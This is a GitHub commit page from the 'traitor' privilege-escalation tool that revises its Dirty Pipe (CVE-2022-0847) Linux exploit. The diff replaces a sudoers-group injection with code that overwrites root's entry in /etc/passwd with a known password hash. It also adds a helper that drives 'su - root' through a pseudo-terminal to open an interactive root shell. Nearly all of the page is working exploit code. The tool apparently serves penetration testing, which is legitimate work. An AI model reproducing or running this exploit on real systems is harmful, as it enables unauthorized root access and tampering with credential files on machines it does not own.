Skip to content

Commit

Permalink
fix: improve reliability of dirty pipe LPE (#80)
Browse files Browse the repository at this point in the history
* fix: improve reliability of dirty pipe LPE

* tweak max length
  • Loading branch information
liamg authored Mar 9, 2022
1 parent 368dee5 commit 7802ea7
Show file tree
Hide file tree
Showing 2 changed files with 85 additions and 67 deletions.
82 changes: 15 additions & 67 deletions pkg/exploits/cve20220847/exploit.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,15 +5,14 @@ import (
"errors"
"fmt"
"os"
"os/exec"
"os/user"
"regexp"
"strconv"
"strings"
"syscall"

"github.com/liamg/traitor/pkg/logger"
"github.com/liamg/traitor/pkg/payloads"
"github.com/liamg/traitor/pkg/shell"
"github.com/liamg/traitor/pkg/state"
"golang.org/x/sys/unix"
)
Expand Down Expand Up @@ -85,82 +84,31 @@ func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log lo

v.log = log

log.Printf("Attempting to add user to sudoers via common groups...")
u, err := user.Current()
log.Printf("Attempting to set root password...")
passwdData, err := os.ReadFile("/etc/passwd")
if err != nil {
return err
}

groupData, err := os.ReadFile("/etc/group")
if err != nil {
return err
backup := string(passwdData)
if len(backup) > 4095 {
backup = backup[:4095]
}
backup := string(groupData)
maxSize := 4096 - (len(u.Username) + 1)
if len(groupData) > maxSize {
groupData = groupData[:maxSize]
}

var injected []string
var found bool
for _, line := range strings.Split(string(groupData), "\n") {
if !found {
parts := strings.Split(line, ":")
switch parts[0] {
case "sudo", "wheel":
log.Printf("Found group: '%s'", parts[0])
found = true
if parts[3] != "" {
users := strings.Split(parts[3], ",")
canAdd := true
for _, existing := range users {
if existing == u.Username {
log.Printf("NOTE: Your user is already in the %s group - you can likely sudo already...", parts[0])
canAdd = false

}
}
if !canAdd {
injected = append(injected, line)
continue
}
line += ","
}
line += u.Username
}
}
injected = append(injected, line)
}
if !found {
_ = found
//return fmt.Errorf("could not find sudo or wheel group")
if string(passwdData[:4]) != "root" {
return fmt.Errorf("unexpected data in /etc/passwd")
}
newData := []byte(strings.Join(injected, "\n") + "\n")

if err := v.writeToFile("/etc/group", 1, newData[1:]); err != nil {
rootLine := "root:$1$traitor$ELjiH/IyoHuVv5Hxiqam21:0:0::/root:/bin/sh\n"
if err := v.writeToFile("/etc/passwd", 4, []byte(rootLine[4:])); err != nil {
return fmt.Errorf("failed to overwrite target file: %w", err)
}

defer func() {
log.Printf("Restoring contents of /etc/group...")
_ = v.writeToFile("/etc/group", 1, []byte(backup)[1:])
log.Printf("Restoring contents of /etc/passwd...")
_ = v.writeToFile("/etc/passwd", 1, []byte(backup)[1:])
}()

log.Printf("Starting shell (you may need to enter your password)...")
log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/group is restored.")
cmd := exec.Cmd{
Path: "/bin/sh",
Args: []string{"/bin/sh", "-c", "sudo", "/bin/sh"},
Env: os.Environ(),
Dir: "/",
Stdin: os.Stdin,
Stdout: os.Stdout,
Stderr: os.Stderr,
}
if payload != "" {
cmd.Args = append(cmd.Args, "-c", string(payload))
}
return cmd.Run()
log.Printf("Starting shell...")
log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/passwd is restored.")
return shell.WithPassword("root", "traitor", log)
}

func (v *cve20220847Exploit) writeToFile(path string, offset int64, data []byte) error {
Expand Down
70 changes: 70 additions & 0 deletions pkg/shell/password.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
package shell

import (
"fmt"
"io"
"os"
"os/exec"
"os/signal"
"syscall"
"time"

"github.com/creack/pty"
"github.com/liamg/traitor/internal/pipe"
"github.com/liamg/traitor/pkg/logger"
"golang.org/x/crypto/ssh/terminal"
)

func WithPassword(username, password string, log logger.Logger) error {
log.Printf("Setting up tty...")

cmd := exec.Command("sh", "-c", fmt.Sprintf("su - %s", username))

// Start the command with a pty.
ptmx, err := pty.Start(cmd)
if err != nil {
return err
}
// Make sure to close the pty at the end.
defer func() { _ = ptmx.Close() }() // Best effort.

// Handle pty size.
ch := make(chan os.Signal, 1)
signal.Notify(ch, syscall.SIGWINCH)
go func() {
for range ch {
_ = pty.InheritSize(os.Stdin, ptmx)
}
}()
ch <- syscall.SIGWINCH // Initial resize.

// Set stdin in raw mode.
oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
return err
}
defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.

lockable := pipe.NewLockable(ptmx)

log.Printf("Attempting authentication as %s...", username)
if err := lockable.WaitForString("Password:", time.Second*2); err == nil {
_ = lockable.Flush()
if _, err := ptmx.Write([]byte(fmt.Sprintf("%s\n", password))); err != nil {
return err
}
if err := lockable.WaitForString("#", time.Second*8); err != nil {
_ = lockable.Flush()
return fmt.Errorf("invalid password")
}
time.Sleep(time.Millisecond * 100)
} else {
return err
}
log.Printf("Authenticated as %s!", username)

// Copy stdin to the pty and the pty to stdout.
go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
_, _ = io.Copy(os.Stdout, lockable)
return nil
}

0 comments on commit 7802ea7

Please sign in to comment.